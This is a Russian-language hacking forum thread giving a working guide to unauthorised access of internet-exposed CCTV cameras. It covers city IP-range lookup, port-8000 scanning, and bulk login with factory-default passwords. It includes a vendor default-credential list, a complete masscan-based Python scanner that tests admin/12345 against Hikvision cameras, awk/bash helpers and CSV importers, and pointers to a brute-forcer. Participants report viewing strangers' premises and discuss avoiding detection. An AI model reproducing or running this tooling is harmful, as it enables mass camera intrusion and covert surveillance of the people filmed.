PDA

Просмотр полной версии : Камеры видеонаблюдения под наш контроль.


blaga
17.05.2015, 14:20
Всем привет. Статья о том как можно подключится к камерам наблюдения через интернет с дефолтными настройками.

Оригинал статьи не мой. Я лишь переписал подробнее и добавил скриншотов.

Итак, начнем.

Первое с чем стоит определится это в каком городе будем искать камеры. Для примера я решил выбрать Новосибирск.

Шаг 0 подготовительный. Качаем нужный софт, а именно:

1. Прога для просмотра камер http://dl.hikvision.ru/soft/iVMS-4200(v2.3.0.5).exe (версия важна именно эта!)

2. Прога для скана IPvnc_scanner_gui_1.2

3. Скрипт для оформления IP в надлежащий вид http://pastebin.com/6MJeAD0K

2 и 3 можно скачать тут https://www.sendspace.com/file/wfu28y

(у кого есть возможность перезалейте, я потом добавлю в тему).

Шаг 1.Ищем iP для нашего города. (Новосибирск)

Заходим например сюда https://4it.me/getlistip и в поле «Введите город» вводим город Новосибирск

http://105.imagebam.com/download/2Um5o0tOcw0cBvcXQNrnsw/41017/410166220/2015-05-17_112959.png

Шаг 2. Добавляем найденные диапазоны в vnc scanner. Сканирование иногда занимает довольно много времени(от получаса до нескольких часов), так что есть смысл сканить за раз небольшое количество диапазонов.

Запускаем vnc_scanner_gui_1.2.exe появляется окно

http://106.imagebam.com/download/140OsG3-vKMOYkrdIKkaSQ/41017/410166225/2015-05-17_113608.png

Вставляем туда наши найденные диапазоны адресов (1)

В отмеченных полях ставим порт 8000

В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga)

Нажимаем кнопку Start scan (2) – появится окно терминала и сканирование начнется.

После окончания сканирования, окно терминала закроется и нужно нажать кнопку Start Parser (3)

В итоге получаем список валидных IP адресов в файле IPs.txt

Шаг 3. Приводим наши IP в удобноваримый вид для импорта.

Устанавливаем python 3.4 для винды тут www.python.org/ftp/python/3.4.3/python-3.4.3.msi (http://www.python.org/ftp/python/3.4.3/python-3.4.3.msi)

Затем берем файлик csv.py кладем его в одну из папок, в эту же папку кидаем файл IPs.txt с нашими IP адресами. По умолчанию этот скрипт создаст csv файл который мы потом скормим программе логин у каждой камеры будет admin пароль 12345 это заводские установки для камер фирмы hikvision (достаточно популярные) можно редактируя скрипт в обычном блокноте менять логины и пароли по умолчанию. (список дефолтных настроек для разных камер внизу статьи).

Итак, положили скрипт и файл с IP вместе, можно кликнуть по скрипту дважды (в винде) и он выполнится и создаст csv файл для импорта. Если через дабл клик не запускается, запустите через командную строку, без параметров.

Шаг 4. Теперь у нас есть готовый файл для импорта. Устанавливаем программу iVMS-4200(v2.3.0.5).exe, заходим в нее там будет Device Management- Вкладка Server– нажимаем Add Device - там выбираем Batch Import– выбираем наш csv файл.

После того как наш файл загрузится список камер появятся в основном окне, и они начнут автоматически подключаться. Те что подключаться загорятся зеленой иконкой и у них появится serial no

http://106.imagebam.com/download/Vp9kVFzoScD1gNGb8N-NVQ/41017/410166235/2015-05-17_134631.png

Те что не подключились можно удалить, а те что загорелись зеленым можно смотреть!

Заходим в Main View, выбираем камеру и смотрим.

Можно выбрать расположение камер (1) рекомендую в раз больше 1 камеры не смотреть, так меньше тормозит, камеру выбираем из списка при этом надо развернуть папку (2), так же некоторые камеры поддерживают удаленное управление (3), можно поворачивать камеры, приближать и т.д. (не рекомендую делать, можно спалиться), так же на некоторых камерах есть динамики и можно че нить *****нуть в микрофон и в помещении с камерой люди это услышат(не рекомендую, спалитесь 100%).

http://105.imagebam.com/download/n5neyUhG-cMHua4UzJkupw/41017/410166268/2015-05-17_135323.png

Ну вот собственно и все.

Призываю вас быть умными и не дестроить камеры, для того что бы такая тема прожила дольше.

Не обязательно искать в России, можно вообще по всему миру искать.

И еще если кто то сможет написать простой брутфорсер камер по словарю стандартных логинов \ паролей, будет вообще шикарно.

Список стандартных доступов прилагаю.

.SpoilerTarget" type="button">Spoiler: доступы
ACTi: admin/123456 or Admin/123456

Arecont Vision: нет

Avigilon: admin/admin

Axis: root/pass, У новых моделей нет пароля по умолчанию. Пароль задаётся во время первой настройки.

Basler: admin/admin

Bosch: нет

Brickcom: admin/admin

Cisco: Нет пароля по умолчанию. Пароль задаётся во время первой настройки.

Dahua: admin/admin

Digital Watchdog: admin/admin

DRS: admin/1234

DVTel: Admin/1234

DynaColor: Admin/1234

FLIR: admin/fliradmin

Foscam: admin/нет

GeoVision: admin/admin

Grandstream: admin/admin

Hikvision: admin/12345

Honeywell: admin/1234

IQinVision: root/system

IPX-DDK: root/admin or root/Admin

JVC: admin/jvc

Mobotix: admin/meinsm

Panasonic: admin/12345

Pelco Sarix: admin/admin

Pixord: admin/admin

Samsung Electronics: root/root или admin/4321

Samsung Techwin (старая модель): admin/1111111

Samsung Techwin (новая модель): admin/4321

Sanyo: admin/admin

Scallop: admin/password

Sentry360 (mini): admin/1234

Sentry360 (pro): нет

Sony: admin/admin

Stardot: admin/admin

Starvedia: admin/нет

Trendnet: admin/admin

Toshiba: root/ikwd

VideoIQ: supervisor/supervisor

Vivotek: root/нет&gt

Ubiquiti: ubnt/ubnt

Wodsee: admin/нет

Всем спасибо.

Материал отсюда -

http://pikabu.ru/story/shpionim_cherez_quotprivatnyiequot_kameryi_videona blyudeniya_3294899

smirk
17.05.2015, 17:10
дожили, с пикабу "статьи" на ачат копипастят...

Revers
17.05.2015, 19:36
На пикабу нагло спиздили с bhf не указав источник, от туда 2 скрина моих =)

https://bhf.su/threads/122143/page-53#post-1414326

https://bhf.su/threads/122143/page-50#post-1413925

blaga
17.05.2015, 19:40
↑ (https://antichat.live/posts/3848522/)
дожили, с пикабу "статьи" на ачат копипастят...


ну вроде в нужный раздел. а вообще прием интересный, мне оч. понравился, я о таком более нигде никогда не видел.


↑ (https://antichat.live/posts/3848586/)
На пикабу нагло спиздили с bhf не указав источник, от туда 2 скрина моих =)
https://bhf.su/threads/122143/page-53#post-1414326
https://bhf.su/threads/122143/page-50#post-1413925


пикабу он такой, удивляться нечему...

makag
18.05.2015, 14:27
как ни странно, камер много с дефолтным доступом.

ТС молодец, одобряю.

Revers
22.05.2015, 06:02
Шаблон csv для открытия списка ip, чтоб вручную не вставлять.

#

"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек)

копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон

#

"Camera001","0","","8000","0","admin","12345","0","0","0","0"

и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта https://yadi.sk/d/E7pGali0gGyQC и KPortScan 3.0, он лучше vnc сканнера https://www.sendspace.com/file/5odoea

blaga
22.05.2015, 06:09
↑ (https://antichat.live/posts/3850581/)
Шаблон csv для открытия списка ip, чтоб вручную не вставлять.
#
"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек)
копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон
#
"Camera001","0","","8000","0","admin","12345","0","0","0","0"
и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта
https://yadi.sk/d/E7pGali0gGyQC
и KPortScan 3.0, он лучше vnc сканнера
https://www.sendspace.com/file/5odoea


вы мануал выше не читали видимо, там в комплекте идет скрипт питоновский которые все это делает автоматом. задаешь логин\пароль подсовываешь txt с ipшниками и готов файл csv для импорта.

Revers
22.05.2015, 07:09
↑ (https://antichat.live/posts/3850583/)
вы мануал выше не читали видимо, там в комплекте идет скрипт питоновский которые все это делает автоматом. задаешь логин\пароль подсовываешь txt с ipшниками и готов файл csv для импорта.


Не дочитал =(

neocaine
12.06.2015, 12:38
Всем привет написал скриптик на питоне Linux Only (из-за статичных путей), прошу сильно не пинать.

Скрипт сканит диапазоны IP, все где открыт порт 8000 сохраняет в XML (средствами masscan), затем бежит по IP адресам в этом XML парсит страничку находящуюся на порту 8000 вставляя дефолтный логин и пароль, если подошел записывает в фаил, иначе переходит к следующему IP адресу.

З.Ы. Камеры к которым уже подошел лог пасс второй добавляет в исключение, при повторном запуске пропускает.

Есть пару неотлавливаемых ошибок, если кто хочет помочь дописать, оптимизировать, привязать морду (GUI), сделать кроссплатформенный прошу на github (filatovvo), irc (neocaine), или в личку.

В диапазоне моей страны находит около 120 камер за первый пробег.

.SpoilerTarget" type="button">Spoiler: GitHub
https://github.com/filatovvo/TasIXIPCamScanner/blob/master/scanner.py

.SpoilerTarget" type="button">Spoiler: Python CODE


# INSTALL
# Requirements
# Root Priveleges
# https://github.com/martinblech/xmltodict - XML To Dictionary Parser
# https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning

#CONSTANTS
LOGIN = 'admin'
PWD = '12345'
SCRIPTRESULT = 'result.txt'
LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10
ARCHIVEPATH = '/tmp/ipcam/archive//'
ARCHIVEFOLDERNAME = 'archive'
MASSCANFOLDER = '/home/neocaine/'
MASSCANRESULT = 'scan.xml'
MASSCANEXCLUDE = 'exclude'
MASSCANCONF = 'cam.conf'
MASSCANCAMPORTCONF = 'port = 8000'
MASSCANOUTPUTFORMATCONF = 'output-format = xml'
MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT
MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE
MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru
range = 31.136.209.0/21
range = 218.31.161.0/20'''

import requests
import xmltodict
import shutil, zipfile
import os, logging, time
from datetime import datetime, timedelta
from urllib2 import urlopen
import urllib2, httplib
import socket
import requests

def make_conf_for_masscan():
masscan_config = MASSCANRANGECONF + '\r\n'\
+ MASSCANCAMPORTCONF + '\r\n'\
+ MASSCANEXCLUDECONF + '\r\n'\
+ MASSCANOUTPUTFORMATCONF + '\r\n'\
+ MASSCANRESULTCONF

fname = MASSCANFOLDER + MASSCANCONF
if os.path.exists(fname):
os.remove(fname)
open(fname, 'a').close()
with open(fname, 'a') as masscan_conf:
masscan_conf.seek(0)
masscan_conf.write(masscan_config)
masscan_conf.close()
else:
open(fname, 'a').close()
with open(fname, 'a') as masscan_conf:
masscan_conf.seek(0)
masscan_conf.write(masscan_config)
masscan_conf.close()

fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE
open(fnameExclude, 'a').close()

def start_masscan():
os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)
#MakeDir Function

def mkdir(dir):
logging.debug('_Function Called mkdir (dir = %s)' % dir)
try:
os.stat(dir)
except:
os.makedirs(dir)

def zipdir(path, zip):
logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))
for root, dirs, files in os.walk(path):
for file in files:
zip.write(os.path.join(root, file))

def delete_previous_file():
logging.debug('_Function Called deletePreviousFile')
try:
os.remove(MASSCANFOLDER + MASSCANRESULT)
os.remove(MASSCANFOLDER + SCRIPTRESULT)
except:
logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)

def setup_custom_logger(name):
formatter = logging.basicConfig(format=u'%(filename)s '
u'[LINE:%(lineno)d]# '
u'%(levelname)-8s '
u'[%(asctime)s] '
u'%(message)s', level=LOGGINGLEVEL)

handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)
return logger

def test_default_log_pass(ip):
logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)
url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime
class MyException(Exception):
pass

try:
a =urllib2.urlopen("http://"+ip, timeout = 3)
except urllib2.URLError, e:
logging.warning('Exception in urllib2.urlopen = %s', e)
return 0
except socket.timeout, e:
logging.warning('Exception in socket = %s', e)
return 0
except socket.error, e:
logging.warning('Exception in socket = %s', e)
return 0
except requests.ConnectionError, e:
logging.warning('Exception in request = %s', e)
return 0
except requests.RequestException,e:
logging.warning('Exception in request = %s', e)
return 0
except httplib.BadStatusLine, e:
logging.warning('Exception in httplib = %s', e)
return 0
except:
logging.warning("Unknown Exception while urllib2.urlopen")
return 0

logging.debug('Request Post To = %s', url)
values = {'username': LOGIN,
'password': PWD}
r = requests
try:
r = requests.post(url, data=values)
except requests.ConnectionError, e:
logging.warning('Exception in requests = %s', e)
return 0
except httplib.BadStatusLine, e:
logging.warning('Exception in httplib = %s', e)
return 0
except:
logging.warning("Unknown Exception while requests.post")
return 0

fname = MASSCANFOLDER + MASSCANRESULT

if os.path.exists(fname):
os.remove(fname)
open(fname, 'a').close()
with open(fname, 'a') as myxmlfile:
myxmlfile.seek(0)
myxmlfile.write(r.content)
myxmlfile.close()
else:
open(fname, 'a').close()
with open(fname, 'a') as myxmlfile:
myxmlfile.seek(0)
myxmlfile.write(r.content)
myxmlfile.close()

with open(fname) as fd:
try:
obj = xmltodict.parse(fd.read())
except:
logging.warning("Can`t Parse Required xml data")
return 0
try:
if int(obj['userCheck']['statusValue']) == 200:
print ip + ' Has Default Log Password'
os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)
os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)
except:
logging.debug("xml unknown format = %s",ip)

def masscan_return_parser():
fname = MASSCANFOLDER + MASSCANRESULT
if not os.path.exists(fname):
print(fname)
print("WTF")
exit()
with open(fname) as masscanResult:
objects = xmltodict.parse(masscanResult.read())

for w in objects['nmaprun']['host']:
logging.debug("Getting Ip from XML = %s", w['address']['@addr'])
test_default_log_pass(w['address']['@addr'])

logger = setup_custom_logger('root')
datenow = datetime.now()
unixtime = str(time.time() + timedelta(days=3).total_seconds())

delete_previous_file()
make_conf_for_masscan()
start_masscan()
masscan_return_parser()


В дальнейшем планирую вытаскивать DYNDNS запись, если она настроена на камере, если нет то дописать туда рандомно числа и в случае успешного сохранения так же записать в фаил.

tester_new
16.06.2015, 13:37
Просто и со вкусом!)

krist11
19.06.2015, 21:48
Мне больше по душе самые простые беспроводные WIFI камеры.

VentaL74
20.06.2015, 22:35
.SpoilerTarget" type="button">Spoiler: оффтоп
В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga)

Не нужно, эта кнопа для парсинга ипов выбранной страны

sander
25.08.2015, 13:52
При запуске на 1 секунду появляется консоль и исчезает запускал два раза,нечего не происходит .

После чего я запустил CMD и вставил cvs.py

Вот что вылезло,2 раза пробовал .

C:\Users\*******>"C:\Users\*******\Desktop\Новая папка\csv.py"

Traceback (most recent call last):

File "C:\Users\*******\Desktop\Новая папка\csv.py", line 4, in

file = open('c:\\csv\\IPs.txt','r')

FileNotFoundError: [Errno 2] No such file or directory: 'c:\\csv\\IPs.txt'

Пробовал даже в CMD кинуть cvs.py потом нажимал пробел ложил IPs.txt,но все так же и без результатов .

grom i molnia
22.09.2015, 22:49
тоже не могу уже все прога чуть думает и все тишина не ругайте сильно спс

lemfi
26.09.2015, 22:10
Все работает.

Но есть пара недочетов.

Максимально возможное кол-во камер -256

А если у меня в файле 500+

Я начал перебирать по одной связке нашел среди первых 256 -7 штук

удалил 256 записей в текстовике

потом он начал меньше на 7 портировать

и тд и тп.

Что можно с этим придумать?

Может есть еще какой софт для просмотра камер, с возможностью импорта из таблицы excel? без ограничения на кол-во камер

Trancerr
13.10.2015, 13:28
воспользовался способом ТСа, всё получилось, хоть и не с первого раза, за инструктаж отдельное спасибо

vegetativniy
08.12.2015, 23:09
Хоть что-нибудь интересное попадалось?

Одни склады, парковки, бомжи, да заводы.

Пробовал более уникальные пассы делать, из 400 айпи 1-2 гудов попадаются, а на стандартные пассы уже говорил бомжи одни, еще это ограничение в 256 адресов, невозможно просто.

sha4
28.12.2015, 13:04
Немного модернизации. Сканируем в масштабах города.

Действие номер 1:

Открываем https://4it.me Вбиваем свой город.

Действие 2:

копируем все диапазоны Вашего города в файл scan-r.txt

Действие 3:

Добавляем "range =" в начало каждой строки

awk '{print "range = "$0}' /tmp/scan-r.txt > /tmp/scan-range.txt

Действие 4:

вставляем содержимое /tmp/scan-range.txt

в параметр

MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru (mailto:neocaine@blablabla.ru)

range = 31.136.209.0/21

range = 218.31.161.0/20'''

скрипта

.SpoilerTarget" type="button">Spoiler: Python Script
# INSTALL

# Requirements

# Root Priveleges

# https://github.com/martinblech/xmltodict - XML To Dictionary Parser

# https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning

#CONSTANTS

LOGIN = 'admin'

PWD = '12345'

SCRIPTRESULT = 'result.txt'

LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10

ARCHIVEPATH = '/tmp/ipcam/archive//'

ARCHIVEFOLDERNAME = 'archive'

MASSCANFOLDER = '/home/neocaine/'

MASSCANRESULT = 'scan.xml'

MASSCANEXCLUDE = 'exclude'

MASSCANCONF = 'cam.conf'

MASSCANCAMPORTCONF = 'port = 8000'

MASSCANOUTPUTFORMATCONF = 'output-format = xml'

MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT

MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE

MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru (mailto:neocaine@blablabla.ru)

range = 31.136.209.0/21

range = 218.31.161.0/20'''

import requests

import xmltodict

import shutil, zipfile

import os, logging, time

from datetime import datetime, timedelta

from urllib2 import urlopen

import urllib2, httplib

import socket

import requests

def make_conf_for_masscan():

masscan_config = MASSCANRANGECONF + '\r\n'\

+ MASSCANCAMPORTCONF + '\r\n'\

+ MASSCANEXCLUDECONF + '\r\n'\

+ MASSCANOUTPUTFORMATCONF + '\r\n'\

+ MASSCANRESULTCONF

fname = MASSCANFOLDER + MASSCANCONF

if os.path.exists(fname):

os.remove(fname)

open(fname, 'a').close()

with open(fname, 'a') as masscan_conf:

masscan_conf.seek(0)

masscan_conf.write(masscan_config)

masscan_conf.close()

else:

open(fname, 'a').close()

with open(fname, 'a') as masscan_conf:

masscan_conf.seek(0)

masscan_conf.write(masscan_config)

masscan_conf.close()

fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE

open(fnameExclude, 'a').close()

def start_masscan():

os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)

#MakeDir Function

def mkdir(dir):

logging.debug('_Function Called mkdir (dir = %s)' % dir)

try:

os.stat(dir)

except:

os.makedirs(dir)

def zipdir(path, zip):

logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))

for root, dirs, files in os.walk(path):

for file in files:

zip.write(os.path.join(root, file))

def delete_previous_file():

logging.debug('_Function Called deletePreviousFile')

try:

os.remove(MASSCANFOLDER + MASSCANRESULT)

os.remove(MASSCANFOLDER + SCRIPTRESULT)

except:

logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)

def setup_custom_logger(name):

formatter = logging.basicConfig(format=u'%(filename)s '

u'[LINE:%(lineno)d]# '

u'%(levelname)-8s '

u'[%(asctime)s] '

u'%(message)s', level=LOGGINGLEVEL)

handler = logging.StreamHandler()

handler.setFormatter(formatter)

logger = logging.getLogger(name)

logger.setLevel(logging.DEBUG)

logger.addHandler(handler)

return logger

def test_default_log_pass(ip):

logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)

url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime

class MyException(Exception):

pass

try:

a =urllib2.urlopen("http://"+ip, timeout = 3)

except urllib2.URLError, e:

logging.warning('Exception in urllib2.urlopen = %s', e)

return 0

except socket.timeout, e:

logging.warning('Exception in socket = %s', e)

return 0

except socket.error, e:

logging.warning('Exception in socket = %s', e)

return 0

except requests.ConnectionError, e:

logging.warning('Exception in request = %s', e)

return 0

except requests.RequestException,e:

logging.warning('Exception in request = %s', e)

return 0

except httplib.BadStatusLine, e:

logging.warning('Exception in httplib = %s', e)

return 0

except:

logging.warning("Unknown Exception while urllib2.urlopen")

return 0

logging.debug('Request Post To = %s', url)

values = {'username': LOGIN,

'password': PWD}

r = requests

try:

r = requests.post(url, data=values)

except requests.ConnectionError, e:

logging.warning('Exception in requests = %s', e)

return 0

except httplib.BadStatusLine, e:

logging.warning('Exception in httplib = %s', e)

return 0

except:

logging.warning("Unknown Exception while requests.post")

return 0

fname = MASSCANFOLDER + MASSCANRESULT

if os.path.exists(fname):

os.remove(fname)

open(fname, 'a').close()

with open(fname, 'a') as myxmlfile:

myxmlfile.seek(0)

myxmlfile.write(r.content)

myxmlfile.close()

else:

open(fname, 'a').close()

with open(fname, 'a') as myxmlfile:

myxmlfile.seek(0)

myxmlfile.write(r.content)

myxmlfile.close()

with open(fname) as fd:

try:

obj = xmltodict.parse(fd.read())

except:

logging.warning("Can`t Parse Required xml data")

return 0

try:

if int(obj['userCheck']['statusValue']) == 200:

print ip + ' Has Default Log Password'

os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)

os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)

except:

logging.debug("xml unknown format = %s",ip)

def masscan_return_parser():

fname = MASSCANFOLDER + MASSCANRESULT

if not os.path.exists(fname):

print(fname)

print("WTF")

exit()

with open(fname) as masscanResult:

objects = xmltodict.parse(masscanResult.read())

for w in objects['nmaprun']['host']:

logging.debug("Getting Ip from XML = %s", w['address']['@addr'])

test_default_log_pass(w['address']['@addr'])

logger = setup_custom_logger('root')

datenow = datetime.now()

unixtime = str(time.time() + timedelta(days=3).total_seconds())

delete_previous_file()

make_conf_for_masscan()

start_masscan()

masscan_return_parser()

не забудьте выставить LOGIN и PASS

Действие 5:

после скрипта будет файл scan.xml

из него нам нужно вытащить все IP адреса

cat /tmp/scan.xml | awk '{print $3}' | egrep -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > /tmp/scan.txt

файл /tmp/scan.txt будет содержать только IP адреса из файла scan.xml

Действие 6:

Полученный на этапе 5 файл scan.txt нужно распарсить по 256 строк

создаем файл split.sh

.SpoilerTarget" type="button">Spoiler: split.sh
#!/bin/bash

# split.sh

if [ -z "$1" ]; then

echo "Need file name as parameter"

fi

L=256

M=$(wc -l "$1" | egrep -o '^[0-9]+')

N=$((M / L))

if [[ $((N*L)) -lt $M ]]; then

tail -n$((M - N*L)) "$1" > "$1$((N+1))";

fi

for ((i=0; i "$1$i";

done

запускаем split.sh

./split.sh /tmp/scan.txt

на выходе будет куча файлов с IP адресами по 256 строк.

Действие 7:

скармливаем кадый файл с 256 IP адресами из предидущего действия следующему скрипту

.SpoilerTarget" type="button">Spoiler: CSV.py
login = 'admin'

passw = 'admin'

file = open('/tmp/scan.txt','r')

csv = open('/root/out_'+login+'_'+passw+'.csv','w')

k = 0

for line in file:

temp = '"' + str(k) + '_ip1","0","'+line[0:-1:1]+'","8000","0","'+login+'","'+passw+'","0","1","0","0"'+'\n'

csv.write(temp)

k += 1

csv.close()

file.close()

На выходу будем иметь файл для скармливания Программе для камер

Tuvan
02.01.2016, 03:44
↑ (https://antichat.live/posts/3884118/)
При запуске на 1 секунду появляется консоль и исчезает запускал два раза,нечего не происходит .

После чего я запустил CMD и вставил cvs.py

Вот что вылезло,2 раза пробовал .

C:\Users\*******>"C:\Users\*******\Desktop\Новая папка\csv.py"

Traceback (most recent call last):

File "C:\Users\*******\Desktop\Новая папка\csv.py", line 4, in

file = open('c:\\csv\\IPs.txt','r')

FileNotFoundError: [Errno 2] No such file or directory: 'c:\\csv\\IPs.txt'
Пробовал даже в CMD кинуть cvs.py потом нажимал пробел ложил IPs.txt,но все так же и без результатов .


дружище ,написано же что не может найти файл на диске c в папке csv, надеюсь твой файл со скриптом там находится?

sander
02.01.2016, 10:21
↑ (https://antichat.live/posts/3934969/)
дружище ,написано же что не может найти файл на диске c в папке csv, надеюсь твой файл со скриптом там находится?


в этом то и проблема,все как надо сделал .

Tuvan
02.01.2016, 15:23
↑ (https://antichat.live/posts/3934997/)
в этом то и проблема,все как надо сделал .


в ошибках видно же что у тебя файлы находятся в папке Новая папка ,а не в csv

KilleD81
10.01.2016, 20:18
Хоть и скопировано с пикабу,но все равно спасибо,полезная тема.

eltex
10.01.2016, 20:32
Ну да... на ачате подобной статьи не видел.

Единственный вопрос к автору: пробовал ли ты сам ТС сделать все действия описанные в статье?

BDoS
12.01.2016, 12:49
Можно ли автоматизировать проверку работоспособности пар логин/пароль по списку? Среди находок сплошные падики да бомжи...

sha4
12.01.2016, 16:18
все работает исправно. Более того вполне удачно

http://clip2net.com/s/3sOefCP

http://clip2net.com/s/3sOgU1y

http://clip2net.com/s/3sOhx4O

Tmye
14.01.2016, 14:27
Давно устаревший способ. Сканируют не RealVNC 4.1.1 Bypass Authentication Scanner, а masscan, команда: –p8000 -iL hosts.txt --rate=1000 -oX myscan.xml. Далее запускают брутфорс видеорегистраторов hikka (https://github.com/superhacker777/hikka) от superhacker777. Результаты в зависимости от опции могут сохраняться в виде jpg скриншотов, и (или) в .csv файл.

Ссылка дана на старую версию Hikvision. В новой Hikvision iVMS-4200 v2.4.1.3 (http://overseas.hikvision.com/europe/Tools_84.html) есть русский язык, а также групповое добавление из .csv.

Блоки IP по странам можно взять с http://www.ipaddresslocation.org/ip_ranges/get_ranges.php, а по российским и украинским городам отсюда http://ipgeobase.ru/cgi-bin/Archive.cgi.

Статья низкого качества.

P. S. В современном русском языке точку в заголовке не ставят.

lan1
19.01.2016, 07:05
↑ (https://antichat.live/posts/3940147/)
Далее запускают брутфорс видеорегистраторов
hikka (https://github.com/superhacker777/hikka)
от superhacker777. .


Как скомпилить в exe в через MinGW ?

rip1er
20.01.2016, 15:45
способец старый, но таки работает

Tmye
28.02.2016, 10:28
↑ (https://antichat.live/posts/3942107/)
Как скомпилить в exe в через MinGW ?


Готовая Hikka, работает только под x64 Windows https://mega.nz/#!34dUgKYb!fIOyCSbPQ7OntbexrvTwsFwIx-ZDFb2WKV6ZxaetU1U

hikka -threads 200 -check -shoots good. По окончании перебора в папке good будут изображения с камер.

rad-77
04.03.2016, 12:39
Спасибо добрый человек. Вроде всё работает, но не сохраняет результат. Как правильно настроить?

Frogi
08.03.2016, 07:52
↑ (https://antichat.live/posts/3939261/)
Можно ли автоматизировать проверку работоспособности пар логин/пароль по списку? Среди находок сплошные падики да бомжи...


Hikka в помощь, а вот и подробный гайд и софт в описании

Martin2112
24.03.2016, 01:10
http://hikkvisionpasswordreset.github.io/

https://github.com/HikkVisionPasswordReset/hikkavision-recover/tree/master/build

https://github.com/HikkVisionPasswordReset/hikkavision-recover

Install Kali Linux

Install Go Language

Install Go Language Color Addon

Setup Go Language

Install MinGw for Windows buildings

Download hikkavision-recover source and extract to Home directory

Open Terminal Emulator with Root and exucate

apt-get install golang

mkdir ~/workspace

echo 'export GOPATH="$HOME/workspace"' >> ~/.bashrc

source ~/.bashrc

go get github.com/fatih/color

apt-get install mingw-w64

cd ~/hikkavision-recover-master

make

And now you have a `build` directory with compiled app for Windows and Linux

Martin2112
24.03.2016, 01:23
Спасибо добрый человек. Вроде всё работает, но не сохраняет результат. Как правильно настроить?

выводи лог в консоль > log.txt

Payer
05.12.2016, 22:09
Глупцы, если вы заклеите камеру на ноутбуке, как Дед Мороз узнает, хорошо или плохо вы себя вели в этом году?..

chem
06.12.2016, 00:15
↑ (https://antichat.live/posts/4021097/)
Глупцы, если вы заклеите камеру на ноутбуке, как Дед Мороз узнает, хорошо или плохо вы себя вели в этом году?..


Так еще микрофон есть

kurt135
10.01.2017, 16:29
Подскажите, как установить\запустить hikka в linux. КЛОНИРОВАТЬ Я КЛОНИРОВАЛ , а как запустить данную прогу ?

sha9
13.01.2017, 22:33
по поводу автоматизации - не знаю, но чем плохой способ :

запускаем роутерскан по портам 80;8000;8001;8002;8080;8081;443

собираем кучу всякого хлама и вэб. камер. где не прошел автоматически парсинг логина и пароля - запускаем лису и заходим на веб интерфейс. смотрим какая камера и пробуем под нее дефолтные пассы. в сети не только хиквижины. есть разные. например партизан или дахуа... а там пас не 12345. и много камер не на 8000 порту. и кстати, такие камеры как партизан не ставят на склады. почти все которые встречал - в серьезных офисах и с камерой направленной на комп сисадмина со стороны клавы и муника. автоматизация тоже не всегда хорошее дело. иногда руками больше получается. а просматривать те же хиквижины можно и в лисе с установленными плагинами.

п.с. такой способ как в статье пробивает не все камеры. еще зависит от типа аутентификации веб интерфейса.

sha9
13.01.2017, 22:39
↑ (https://antichat.live/posts/4021097/)
